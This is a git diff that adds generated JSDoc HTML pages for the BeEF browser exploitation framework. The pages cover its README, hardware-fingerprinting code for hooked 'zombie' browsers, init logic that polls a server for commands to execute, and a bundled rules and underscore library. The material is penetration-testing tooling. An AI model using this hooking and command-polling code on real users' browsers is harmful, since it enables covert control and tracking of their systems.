+    var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
+
+    if (!!battery) {
+      return {
+        chargingStatus: battery.charging,
+        batteryLevel: battery.level * 100 + "%",
+        chargingTime: battery.chargingTime,
+        dischargingTime: battery.dischargingTime
+      }
+    } else {
+      return {
+        chargingStatus: 'unknown',
+        batteryLevel: 'unknown',
+        chargingTime: 'unknown',
+        dischargingTime: 'unknown'
+      }
+    }
+  },
+
+  /**
+   * Returns zombie screen size and color depth.
+   * @return {Object}
+   */
+  getScreenSize: function () {
+    return {
+      width: window.screen.width,
+      height: window.screen.height,
+      colordepth: window.screen.colorDepth
+    }
+  },
+
+  /**
+   * Is touch enabled?
+   * @return {Boolean} true or false.
+   */
+  isTouchEnabled: function() {
+    if ('ontouchstart' in document) return true;
+    return false;
+  },
+
+  /**
+   * Is virtual machine?
+   * @return {Boolean} true or false.
+   */
+  isVirtualMachine: function() {
+    if (this.getGpuDetails().vendor.match('VMware, Inc'))
+      return true;
+
+    if (this.isMobileDevice())
+      return false;
+
+    // if the screen resolution is uneven, and it's not a known mobile device
+    // then it's probably a VM
+    if (screen.width % 2 || screen.height % 2)
+      return true;
+
+    return false;
+  },
+
+  /**
+   * Is a Laptop?
+   * @return {Boolean} true or false.
+   */
+  isLaptop: function() {
+    if (this.isMobileDevice()) return false;
+    // Most common laptop screen resolution
+    if (screen.width == 1366 && screen.height == 768) return true;
+    // Netbooks
+    if (screen.width == 1024 && screen.height == 600) return true;
+    return false;
+  },
+
+  /**
+   * Is Nokia?
+   * @return {Boolean} true or false.
+   */
+  isNokia: function() {
+    return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
+  },
+
+  /**
+   * Is Zune?
+   * @return {Boolean} true or false.
+   */
+  isZune: function() {
+    return (this.ua.match('ZuneWP7')) ? true : false;
+  },
+
+  /**
+   * Is HTC?
+   * @return {Boolean} true or false.
+   */
+  isHtc: function() {
+    return (this.ua.match('HTC')) ? true : false;
+  },
+
+  /**
+   * Is Ericsson?
+   * @return {Boolean} true or false.
+   */
+  isEricsson: function() {
+    return (this.ua.match('Ericsson')) ? true : false;
+  },
+
+  /**
+   * Is Motorola?
+   * @return {Boolean} true or false.
+   */
+  isMotorola: function() {
+    return (this.ua.match('Motorola')) ? true : false;
+  },
+
+  /**
+   * Is Google?
+   * @return {Boolean} true or false.
+   */
+  isGoogle: function() {
+    return (this.ua.match('Nexus One')) ? true : false;
+  },
+
+  /**
+   * Returns true if the browser is on a Mobile device
+   * @return {Boolean} true or false
+   *
+   * @example: if(beef.hardware.isMobileDevice()) { ... }
+   */
+  isMobileDevice: function() {
+    return MobileEsp.DetectMobileQuick();
+  },
+
+  /**
+   * Returns true if the browser is on a game console
+   * @return {Boolean} true or false
+   *
+   * @example: if(beef.hardware.isGameConsole()) { ... }
+   */
+  isGameConsole: function() {
+    return MobileEsp.DetectGameConsole();
+  },
+
+  getName: function() {
+    var ua = navigator.userAgent.toLowerCase();
+    if(MobileEsp.DetectIphone())              { return "iPhone"};
+    if(MobileEsp.DetectIpod())                { return "iPod Touch"};
+    if(MobileEsp.DetectIpad())                { return "iPad"};
+    if (this.isHtc())               { return 'HTC'};
+    if (this.isMotorola())          { return 'Motorola'};
+    if (this.isZune())              { return 'Zune'};
+    if (this.isGoogle())            { return 'Google Nexus One'};
+    if (this.isEricsson())          { return 'Ericsson'};
+    if(MobileEsp.DetectAndroidPhone())        { return "Android Phone"};
+    if(MobileEsp.DetectAndroidTablet())       { return "Android Tablet"};
+    if(MobileEsp.DetectS60OssBrowser())       { return "Nokia S60 Open Source"};
+    if(ua.search(MobileEsp.deviceS60) > -1)   { return "Nokia S60"};
+    if(ua.search(MobileEsp.deviceS70) > -1)   { return "Nokia S70"};
+    if(ua.search(MobileEsp.deviceS80) > -1)   { return "Nokia S80"};
+    if(ua.search(MobileEsp.deviceS90) > -1)   { return "Nokia S90"};
+    if(ua.search(MobileEsp.deviceSymbian) > -1)   { return "Nokia Symbian"};
+    if (this.isNokia())             { return 'Nokia'};
+    if(MobileEsp.DetectWindowsPhone7())       { return "Windows Phone 7"};
+    if(MobileEsp.DetectWindowsPhone8())       { return "Windows Phone 8"};
+    if(MobileEsp.DetectWindowsPhone10())      { return "Windows Phone 10"};
+    if(MobileEsp.DetectWindowsMobile())       { return "Windows Mobile"};
+    if(MobileEsp.DetectBlackBerryTablet())    { return "BlackBerry Tablet"};
+    if(MobileEsp.DetectBlackBerryWebKit())    { return "BlackBerry OS 6"};
+    if(MobileEsp.DetectBlackBerryTouch())     { return "BlackBerry Touch"};
+    if(MobileEsp.DetectBlackBerryHigh())      { return "BlackBerry OS 5"};
+    if(MobileEsp.DetectBlackBerry())          { return "BlackBerry"};
+    if(MobileEsp.DetectPalmOS())              { return "Palm OS"};
+    if(MobileEsp.DetectPalmWebOS())           { return "Palm Web OS"};
+    if(MobileEsp.DetectGarminNuvifone())      { return "Gamin Nuvifone"};
+    if(MobileEsp.DetectArchos())              { return "Archos"}
+    if(MobileEsp.DetectBrewDevice())          { return "Brew"};
+    if(MobileEsp.DetectDangerHiptop())        { return "Danger Hiptop"};
+    if(MobileEsp.DetectMaemoTablet())         { return "Maemo Tablet"};
+    if(MobileEsp.DetectSonyMylo())            { return "Sony Mylo"};
+    if(MobileEsp.DetectAmazonSilk())          { return "Kindle Fire"};
+    if(MobileEsp.DetectKindle())              { return "Kindle"};
+    if(MobileEsp.DetectSonyPlaystation())                 { return "Playstation"};
+    if(ua.search(MobileEsp.deviceNintendoDs) > -1)        { return "Nintendo DS"};
+    if(ua.search(MobileEsp.deviceWii) > -1)               { return "Nintendo Wii"};
+    if(ua.search(MobileEsp.deviceNintendo) > -1)          { return "Nintendo"};
+    if(MobileEsp.DetectXbox())                            { return "Xbox"};
+    if(this.isLaptop())                         { return "Laptop"};
+    if(this.isVirtualMachine())                 { return "Virtual Machine"};
+
+    return 'Unknown';
+  }
+};
+
+beef.regCmp('beef.hardware');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 000000000..3cd8d374e --- /dev/null +++ b/docs/index.html @@ -0,0 +1,109 @@ + + + + + JSDoc: Home + + + + + + + + + + +
+ +

Home

+ + + + + + + + +

+ + + + + + + + + + + + + + + +
+

===============================================================================

+
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+Browser Exploitation Framework (BeEF) - http://beefproject.com
+See the file 'doc/COPYING' for copying permission
+
+

===============================================================================

+

What is BeEF?

+

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

+

Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

+

Get Involved

+

You can get in touch with the BeEF team. Just check out the following:

+

Please, send us pull requests!

+

Web: https://beefproject.com/

+

Bugs: https://github.com/beefproject/beef/issues

+

Security Bugs: security@beefproject.com

+

IRC: ircs://irc.freenode.net/beefproject

+

Twitter: @beefproject

+

Requirements

+
    +
  • Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
  • +
  • Ruby: 2.5 or newer
  • +
  • SQLite: 3.x
  • +
  • Node.js: 6 or newer
  • +
  • The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
  • +
  • Selenium is required on OSX: brew install selenium-server-standalone (See https://github.com/shvets/selenium)
  • +
+

ActiveRecord

+

ActiveRecord was used to replace DataMapper, and now ruby 2.4 is no longer supported. +If you're using ruby 2.4 please update your BeEF version, otherwise master-0.4.7.3 has the beef branch before the ActiveRecord Merge.

+

Quick Start

+

The following is for the impatient.

+

The install script installs the required operating system packages and all the prerequisite Ruby gems:

+
$ ./install
+
+

For full installation details, please refer to INSTALL.txt.

+

We also have an Installation page on the wiki.

+

Upon successful installation, be sure to read the Configuration page on the wiki for important details on configuring and securing BeEF.

+

Usage

+

To get started, simply execute beef and follow the instructions:

+
$ ./beef
+
+
+ + + + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/init.js.html b/docs/init.js.html new file mode 100644 index 000000000..887bcc2de --- /dev/null +++ b/docs/init.js.html @@ -0,0 +1,141 @@ + + + + + JSDoc: Source: init.js + + + + + + + + + + +
+ +

Source: init.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Contains the beef_init() method which starts the BeEF client-side
+ * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
+ *
+ * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
+ * and will have a new session id. The new session id will need to know
+ * the brwoser details. So sendback the browser details again.
+ * 
+ * @namespace beef.init
+ */
+
+beef.session.get_hook_session_id();
+
+if (beef.pageIsLoaded) {
+    beef.net.browser_details();
+}
+/**
+ * @memberof beef.init
+ */
+window.onload = function () {
+    beef_init();
+};
+/**
+ * @memberof beef.init
+ */
+window.onpopstate = function (event) {
+    if (beef.onpopstate.length > 0) {
+        event.preventDefault;
+        for (var i = 0; i < beef.onpopstate.length; i++) {
+            var callback = beef.onpopstate[i];
+            try {
+                callback(event);
+            } catch (e) {
+                beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
+            }
+            return false;
+        }
+    }
+};
+/**
+ * @memberof beef.init
+ */
+window.onclose = function (event) {
+    if (beef.onclose.length > 0) {
+        event.preventDefault;
+        for (var i = 0; i < beef.onclose.length; i++) {
+            var callback = beef.onclose[i];
+            try {
+                callback(event);
+            } catch (e) {
+                beef.debug("window.onclose - couldn't execute callback: " + e.message);
+            }
+            return false;
+        }
+    }
+};
+
+/**
+ * Starts the polling mechanism, and initialize various components:
+ *  - browser details (see browser.js) are sent back to the "/init" handler
+ *  - the polling starts (checks for new commands, and execute them)
+ *  - the logger component is initialized (see logger.js)
+ *  - the Autorun Engine is initialized (see are.js)
+ * @memberof beef.init
+ */
+function beef_init() {
+    if (!beef.pageIsLoaded) {
+        beef.pageIsLoaded = true;
+        beef.net.browser_details();
+
+        if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
+            setTimeout(function(){
+                beef.websocket.start();
+                beef.updater.execute_commands();
+                beef.logger.start();
+            }, parseInt(beef.websocket.ws_connect_timeout));
+        }else {
+            beef.net.browser_details();
+            beef.updater.execute_commands();
+            beef.updater.check();
+            beef.logger.start();
+        }
+    }
+}
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/lib_browser_jools.js.html b/docs/lib_browser_jools.js.html new file mode 100644 index 000000000..4b1909db0 --- /dev/null +++ b/docs/lib_browser_jools.js.html @@ -0,0 +1,1598 @@ + + + + + JSDoc: Source: lib/browser_jools.js + + + + + + + + + + +
+ +

Source: lib/browser_jools.js

+ + + + + + +
+
+
/**
+ * @namespace browser_jools
+ */
+
+/**
+ * @memberof browser_jools
+ * @param file 
+ * @param cwd 
+ */
+var require = function (file, cwd) {
+    var resolved = require.resolve(file, cwd || '/');
+    var mod = require.modules[resolved];
+    if (!mod) throw new Error(
+        'Failed to resolve module ' + file + ', tried ' + resolved
+    );
+    var res = mod._cached ? mod._cached : mod();
+    return res;
+}
+
+require.paths = [];
+require.modules = {};
+require.extensions = [".js",".coffee"];
+
+require._core = {
+    'assert': true,
+    'events': true,
+    'fs': true,
+    'path': true,
+    'vm': true
+};
+/**
+ * @memberof browser_jools
+ */
+require.resolve = (function () {
+    return function (x, cwd) {
+        if (!cwd) cwd = '/';
+        
+        if (require._core[x]) return x;
+        var path = require.modules.path();
+        cwd = path.resolve('/', cwd);
+        var y = cwd || '/';
+        
+        if (x.match(/^(?:\.\.?\/|\/)/)) {
+            var m = loadAsFileSync(path.resolve(y, x))
+                || loadAsDirectorySync(path.resolve(y, x));
+            if (m) return m;
+        }
+        
+        var n = loadNodeModulesSync(x, y);
+        if (n) return n;
+        
+        throw new Error("Cannot find module '" + x + "'");
+        
+        function loadAsFileSync (x) {
+            if (require.modules[x]) {
+                return x;
+            }
+            
+            for (var i = 0; i < require.extensions.length; i++) {
+                var ext = require.extensions[i];
+                if (require.modules[x + ext]) return x + ext;
+            }
+        }
+        
+        function loadAsDirectorySync (x) {
+            x = x.replace(/\/+$/, '');
+            var pkgfile = x + '/package.json';
+            if (require.modules[pkgfile]) {
+                var pkg = require.modules[pkgfile]();
+                var b = pkg.browserify;
+                if (typeof b === 'object' && b.main) {
+                    var m = loadAsFileSync(path.resolve(x, b.main));
+                    if (m) return m;
+                }
+                else if (typeof b === 'string') {
+                    var m = loadAsFileSync(path.resolve(x, b));
+                    if (m) return m;
+                }
+                else if (pkg.main) {
+                    var m = loadAsFileSync(path.resolve(x, pkg.main));
+                    if (m) return m;
+                }
+            }
+            
+            return loadAsFileSync(x + '/index');
+        }
+        
+        function loadNodeModulesSync (x, start) {
+            var dirs = nodeModulesPathsSync(start);
+            for (var i = 0; i < dirs.length; i++) {
+                var dir = dirs[i];
+                var m = loadAsFileSync(dir + '/' + x);
+                if (m) return m;
+                var n = loadAsDirectorySync(dir + '/' + x);
+                if (n) return n;
+            }
+            
+            var m = loadAsFileSync(x);
+            if (m) return m;
+        }
+        
+        function nodeModulesPathsSync (start) {
+            var parts;
+            if (start === '/') parts = [ '' ];
+            else parts = path.normalize(start).split('/');
+            
+            var dirs = [];
+            for (var i = parts.length - 1; i >= 0; i--) {
+                if (parts[i] === 'node_modules') continue;
+                var dir = parts.slice(0, i + 1).join('/') + '/node_modules';
+                dirs.push(dir);
+            }
+            
+            return dirs;
+        }
+    };
+})();
+/**
+ * @memberof browser_jools
+ */
+require.alias = function (from, to) {
+    var path = require.modules.path();
+    var res = null;
+    try {
+        res = require.resolve(from + '/package.json', '/');
+    }
+    catch (err) {
+        res = require.resolve(from, '/');
+    }
+    var basedir = path.dirname(res);
+    
+    var keys = (Object.keys || function (obj) {
+        var res = [];
+        for (var key in obj) res.push(key)
+        return res;
+    })(require.modules);
+    
+    for (var i = 0; i < keys.length; i++) {
+        var key = keys[i];
+        if (key.slice(0, basedir.length + 1) === basedir + '/') {
+            var f = key.slice(basedir.length);
+            require.modules[to + f] = require.modules[basedir + f];
+        }
+        else if (key === basedir) {
+            require.modules[to] = require.modules[basedir];
+        }
+    }
+};
+/**
+ * @memberof browser_jools
+ */
+require.define = function (filename, fn) {
+    var dirname = require._core[filename]
+        ? ''
+        : require.modules.path().dirname(filename)
+    ;
+    
+    var require_ = function (file) {
+        return require(file, dirname)
+    };
+    require_.resolve = function (name) {
+        return require.resolve(name, dirname);
+    };
+    require_.modules = require.modules;
+    require_.define = require.define;
+    var module_ = { exports : {} };
+    
+    require.modules[filename] = function () {
+        require.modules[filename]._cached = module_.exports;
+        fn.call(
+            module_.exports,
+            require_,
+            module_,
+            module_.exports,
+            dirname,
+            filename
+        );
+        require.modules[filename]._cached = module_.exports;
+        return module_.exports;
+    };
+};
+
+if (typeof process === 'undefined') process = {};
+
+if (!process.nextTick) process.nextTick = (function () {
+    var queue = [];
+    var canPost = typeof window !== 'undefined'
+        && window.postMessage && window.addEventListener
+    ;
+    
+    if (canPost) {
+        window.addEventListener('message', function (ev) {
+            if (ev.source === window && ev.data === 'browserify-tick') {
+                ev.stopPropagation();
+                if (queue.length > 0) {
+                    var fn = queue.shift();
+                    fn();
+                }
+            }
+        }, true);
+    }
+    
+    return function (fn) {
+        if (canPost) {
+            queue.push(fn);
+            window.postMessage('browserify-tick', '*');
+        }
+        else setTimeout(fn, 0);
+    };
+})();
+
+if (!process.title) process.title = 'browser';
+
+if (!process.binding) process.binding = function (name) {
+    if (name === 'evals') return require('vm')
+    else throw new Error('No such module')
+};
+
+if (!process.cwd) process.cwd = function () { return '.' };
+
+if (!process.env) process.env = {};
+if (!process.argv) process.argv = [];
+
+require.define("path", function (require, module, exports, __dirname, __filename) {
+function filter (xs, fn) {
+    var res = [];
+    for (var i = 0; i < xs.length; i++) {
+        if (fn(xs[i], i, xs)) res.push(xs[i]);
+    }
+    return res;
+}
+
+/**
+ * resolves . and .. elements in a path array with directory names there
+ * must be no slashes, empty elements, or device names (c:\) in the array
+ * (so also no leading and trailing slashes - it does not distinguish
+ * relative and absolute paths)
+ * @memberof browser_jools
+ * @param parts 
+ * @param allowAboveRoot 
+ */
+function normalizeArray(parts, allowAboveRoot) {
+  // if the path tries to go above the root, `up` ends up > 0
+  var up = 0;
+  for (var i = parts.length; i >= 0; i--) {
+    var last = parts[i];
+    if (last == '.') {
+      parts.splice(i, 1);
+    } else if (last === '..') {
+      parts.splice(i, 1);
+      up++;
+    } else if (up) {
+      parts.splice(i, 1);
+      up--;
+    }
+  }
+
+  // if the path is allowed to go above the root, restore leading ..s
+  if (allowAboveRoot) {
+    for (; up--; up) {
+      parts.unshift('..');
+    }
+  }
+
+  return parts;
+}
+
+// Regex to split a filename into [*, dir, basename, ext]
+// posix version
+var splitPathRe = /^(.+\/(?!$)|\/)?((?:.+?)?(\.[^.]*)?)$/;
+
+// path.resolve([from ...], to)
+// posix version
+exports.resolve = function() {
+var resolvedPath = '',
+    resolvedAbsolute = false;
+
+for (var i = arguments.length; i >= -1 && !resolvedAbsolute; i--) {
+  var path = (i >= 0)
+      ? arguments[i]
+      : process.cwd();
+
+  // Skip empty and invalid entries
+  if (typeof path !== 'string' || !path) {
+    continue;
+  }
+
+  resolvedPath = path + '/' + resolvedPath;
+  resolvedAbsolute = path.charAt(0) === '/';
+}
+
+// At this point the path should be resolved to a full absolute path, but
+// handle relative paths to be safe (might happen when process.cwd() fails)
+
+// Normalize the path
+resolvedPath = normalizeArray(filter(resolvedPath.split('/'), function(p) {
+    return !!p;
+  }), !resolvedAbsolute).join('/');
+
+  return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.';
+};
+
+// path.normalize(path)
+// posix version
+exports.normalize = function(path) {
+var isAbsolute = path.charAt(0) === '/',
+    trailingSlash = path.slice(-1) === '/';
+
+// Normalize the path
+path = normalizeArray(filter(path.split('/'), function(p) {
+    return !!p;
+  }), !isAbsolute).join('/');
+
+  if (!path && !isAbsolute) {
+    path = '.';
+  }
+  if (path && trailingSlash) {
+    path += '/';
+  }
+  
+  return (isAbsolute ? '/' : '') + path;
+};
+
+
+// posix version
+exports.join = function() {
+  var paths = Array.prototype.slice.call(arguments, 0);
+  return exports.normalize(filter(paths, function(p, index) {
+    return p && typeof p === 'string';
+  }).join('/'));
+};
+
+
+exports.dirname = function(path) {
+  var dir = splitPathRe.exec(path)[1] || '';
+  var isWindows = false;
+  if (!dir) {
+    // No dirname
+    return '.';
+  } else if (dir.length === 1 ||
+      (isWindows && dir.length <= 3 && dir.charAt(1) === ':')) {
+    // It is just a slash or a drive letter with a slash
+    return dir;
+  } else {
+    // It is a full dirname, strip trailing slash
+    return dir.substring(0, dir.length - 1);
+  }
+};
+
+
+exports.basename = function(path, ext) {
+  var f = splitPathRe.exec(path)[2] || '';
+  // TODO: make this comparison case-insensitive on windows?
+  if (ext && f.substr(-1 * ext.length) === ext) {
+    f = f.substr(0, f.length - ext.length);
+  }
+  return f;
+};
+
+
+exports.extname = function(path) {
+  return splitPathRe.exec(path)[3] || '';
+};
+
+});
+
+require.define("/node_modules/jools/package.json", function (require, module, exports, __dirname, __filename) {
+module.exports = {"main":"./lib/jools"}
+});
+
+require.define("/node_modules/jools/lib/jools.js", function (require, module, exports, __dirname, __filename) {
+/**
+ * Module dependencies.
+ */
+var utils = require('./utils')
+  , _ = require('underscore');
+
+/**
+ * version
+ * @memberof browser_jools
+ */
+exports.version = '0.0.1';
+
+/**
+ * Jools constructor.
+ *
+ * A rule consists of:
+ *   - Descriptive name
+ *   - One or more conditions
+ *   - One or more consequences, which are fired when all conditions evaluate to true.
+ * @memberof browser_jools
+ * @param {Object} rules
+ */
+function Jools(rules) {
+  this.rules = rules;
+}
+
+/**
+ * execute rules with fact
+ *
+ * @param {Object} fact
+ */
+Jools.prototype.execute = function (fact) {
+  var self = this
+    , session = _.clone(fact)
+    , last_session = _.clone(fact)
+    , goal = false;
+
+  while (!goal) {
+    var changes = false;
+    for (var x=0; x < this.rules.length; x++) {
+      var rule = this.rules[x]
+        , outcome;
+
+      _.flatten([rule.condition]).forEach(function (cnd) {
+        cnd.__args = cnd.__args || utils.paramNames(cnd); 
+
+        if (outcome) {
+          outcome = outcome && cnd.apply({}, utils.paramsToArguments(session, cnd.__args)); 
+        } else {
+          outcome = cnd.apply({}, utils.paramsToArguments(session, cnd.__args));
+        }
+      });
+      if (outcome) {
+        _.flatten([rule.consequence]).forEach(function (csq) {
+          csq.__args = csq.__args || utils.paramNames(csq); 
+          csq.apply(session, utils.paramsToArguments(fact, csq.__args));
+          if (!_.isEqual(last_session,session)) {
+            // Fire all rules again!
+            changes = true;
+            last_session = _.clone(session);
+          } 
+        });
+      }
+      if(changes) break;
+    }
+    if (!changes) goal = true;
+  }
+  return session;
+};
+
+module.exports = Jools;
+
+
+});
+
+require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) {
+/**
+ * Returns an array of parameter names of the function f
+ * @memberof browser_jools
+ * @param {Function} f
+ */
+module.exports.paramNames = function (f) {
+  var m = /function[^\(]*\(([^\)]*)\)/.exec(f.toString());
+  if (!m) throw new TypeError("Invalid functions");
+
+  var params = [];
+  m[1].split(',').forEach(function (p) {
+    params.push(p.replace(/^\s*|\s*$/g, ''));
+  });
+
+  return params;
+};
+
+/**
+ * Creates an array of arguments
+ * @memberof browser_jools
+ * @param {Object} obj
+ * @param {Array} params
+ */
+module.exports.paramsToArguments = function (obj, params) {
+  var args = [];
+  params.forEach(function (p) {
+    args.push(obj[p]);
+  });
+  return args;
+}
+
+
+});
+
+require.define("/node_modules/underscore/package.json", function (require, module, exports, __dirname, __filename) {
+module.exports = {"main":"underscore.js"}
+});
+
+require.define("/node_modules/underscore/underscore.js", function (require, module, exports, __dirname, __filename) {
+//     Underscore.js 1.3.3
+//     (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc.
+//     Underscore is freely distributable under the MIT license.
+//     Portions of Underscore are inspired or borrowed from Prototype,
+//     Oliver Steele's Functional, and John Resig's Micro-Templating.
+//     For all details and documentation:
+//     http://documentcloud.github.com/underscore
+
+(function() {
+
+  // Baseline setup
+  // --------------
+
+  // Establish the root object, `window` in the browser, or `global` on the server.
+  var root = this;
+
+  // Save the previous value of the `_` variable.
+  var previousUnderscore = root._;
+
+  // Establish the object that gets returned to break out of a loop iteration.
+  var breaker = {};
+
+  // Save bytes in the minified (but not gzipped) version:
+  var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;
+
+  // Create quick reference variables for speed access to core prototypes.
+  var slice            = ArrayProto.slice,
+      unshift          = ArrayProto.unshift,
+      toString         = ObjProto.toString,
+      hasOwnProperty   = ObjProto.hasOwnProperty;
+
+  // All **ECMAScript 5** native function implementations that we hope to use
+  // are declared here.
+  var
+    nativeForEach      = ArrayProto.forEach,
+    nativeMap          = ArrayProto.map,
+    nativeReduce       = ArrayProto.reduce,
+    nativeReduceRight  = ArrayProto.reduceRight,
+    nativeFilter       = ArrayProto.filter,
+    nativeEvery        = ArrayProto.every,
+    nativeSome         = ArrayProto.some,
+    nativeIndexOf      = ArrayProto.indexOf,
+    nativeLastIndexOf  = ArrayProto.lastIndexOf,
+    nativeIsArray      = Array.isArray,
+    nativeKeys         = Object.keys,
+    nativeBind         = FuncProto.bind;
+
+  // Create a safe reference to the Underscore object for use below.
+  var _ = function(obj) { return new wrapper(obj); };
+
+  // Export the Underscore object for **Node.js**, with
+  // backwards-compatibility for the old `require()` API. If we're in
+  // the browser, add `_` as a global object via a string identifier,
+  // for Closure Compiler "advanced" mode.
+  if (typeof exports !== 'undefined') {
+    if (typeof module !== 'undefined' && module.exports) {
+      exports = module.exports = _;
+    }
+    exports._ = _;
+  } else {
+    root['_'] = _;
+  }
+
+  // Current version.
+  _.VERSION = '1.3.3';
+
+  // Collection Functions
+  // --------------------
+
+  // The cornerstone, an `each` implementation, aka `forEach`.
+  // Handles objects with the built-in `forEach`, arrays, and raw objects.
+  // Delegates to **ECMAScript 5**'s native `forEach` if available.
+  var each = _.each = _.forEach = function(obj, iterator, context) {
+    if (obj == null) return;
+    if (nativeForEach && obj.forEach === nativeForEach) {
+      obj.forEach(iterator, context);
+    } else if (obj.length === +obj.length) {
+      for (var i = 0, l = obj.length; i < l; i++) {
+        if (i in obj && iterator.call(context, obj[i], i, obj) === breaker) return;
+      }
+    } else {
+      for (var key in obj) {
+        if (_.has(obj, key)) {
+          if (iterator.call(context, obj[key], key, obj) === breaker) return;
+        }
+      }
+    }
+  };
+
+  // Return the results of applying the iterator to each element.
+  // Delegates to **ECMAScript 5**'s native `map` if available.
+  _.map = _.collect = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
+    each(obj, function(value, index, list) {
+      results[results.length] = iterator.call(context, value, index, list);
+    });
+    if (obj.length === +obj.length) results.length = obj.length;
+    return results;
+  };
+
+  // **Reduce** builds up a single result from a list of values, aka `inject`,
+  // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.
+  _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {
+    var initial = arguments.length > 2;
+    if (obj == null) obj = [];
+    if (nativeReduce && obj.reduce === nativeReduce) {
+      if (context) iterator = _.bind(iterator, context);
+      return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);
+    }
+    each(obj, function(value, index, list) {
+      if (!initial) {
+        memo = value;
+        initial = true;
+      } else {
+        memo = iterator.call(context, memo, value, index, list);
+      }
+    });
+    if (!initial) throw new TypeError('Reduce of empty array with no initial value');
+    return memo;
+  };
+
+  // The right-associative version of reduce, also known as `foldr`.
+  // Delegates to **ECMAScript 5**'s native `reduceRight` if available.
+  _.reduceRight = _.foldr = function(obj, iterator, memo, context) {
+    var initial = arguments.length > 2;
+    if (obj == null) obj = [];
+    if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {
+      if (context) iterator = _.bind(iterator, context);
+      return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);
+    }
+    var reversed = _.toArray(obj).reverse();
+    if (context && !initial) iterator = _.bind(iterator, context);
+    return initial ? _.reduce(reversed, iterator, memo, context) : _.reduce(reversed, iterator);
+  };
+
+  // Return the first value which passes a truth test. Aliased as `detect`.
+  _.find = _.detect = function(obj, iterator, context) {
+    var result;
+    any(obj, function(value, index, list) {
+      if (iterator.call(context, value, index, list)) {
+        result = value;
+        return true;
+      }
+    });
+    return result;
+  };
+
+  // Return all the elements that pass a truth test.
+  // Delegates to **ECMAScript 5**'s native `filter` if available.
+  // Aliased as `select`.
+  _.filter = _.select = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context);
+    each(obj, function(value, index, list) {
+      if (iterator.call(context, value, index, list)) results[results.length] = value;
+    });
+    return results;
+  };
+
+  // Return all the elements for which a truth test fails.
+  _.reject = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    each(obj, function(value, index, list) {
+      if (!iterator.call(context, value, index, list)) results[results.length] = value;
+    });
+    return results;
+  };
+
+  // Determine whether all of the elements match a truth test.
+  // Delegates to **ECMAScript 5**'s native `every` if available.
+  // Aliased as `all`.
+  _.every = _.all = function(obj, iterator, context) {
+    var result = true;
+    if (obj == null) return result;
+    if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context);
+    each(obj, function(value, index, list) {
+      if (!(result = result && iterator.call(context, value, index, list))) return breaker;
+    });
+    return !!result;
+  };
+
+  // Determine if at least one element in the object matches a truth test.
+  // Delegates to **ECMAScript 5**'s native `some` if available.
+  // Aliased as `any`.
+  var any = _.some = _.any = function(obj, iterator, context) {
+    iterator || (iterator = _.identity);
+    var result = false;
+    if (obj == null) return result;
+    if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context);
+    each(obj, function(value, index, list) {
+      if (result || (result = iterator.call(context, value, index, list))) return breaker;
+    });
+    return !!result;
+  };
+
+  // Determine if a given value is included in the array or object using `===`.
+  // Aliased as `contains`.
+  _.include = _.contains = function(obj, target) {
+    var found = false;
+    if (obj == null) return found;
+    if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;
+    found = any(obj, function(value) {
+      return value === target;
+    });
+    return found;
+  };
+
+  // Invoke a method (with arguments) on every item in a collection.
+  _.invoke = function(obj, method) {
+    var args = slice.call(arguments, 2);
+    return _.map(obj, function(value) {
+      return (_.isFunction(method) ? method || value : value[method]).apply(value, args);
+    });
+  };
+
+  // Convenience version of a common use case of `map`: fetching a property.
+  _.pluck = function(obj, key) {
+    return _.map(obj, function(value){ return value[key]; });
+  };
+
+  // Return the maximum element or (element-based computation).
+  _.max = function(obj, iterator, context) {
+    if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.max.apply(Math, obj);
+    if (!iterator && _.isEmpty(obj)) return -Infinity;
+    var result = {computed : -Infinity};
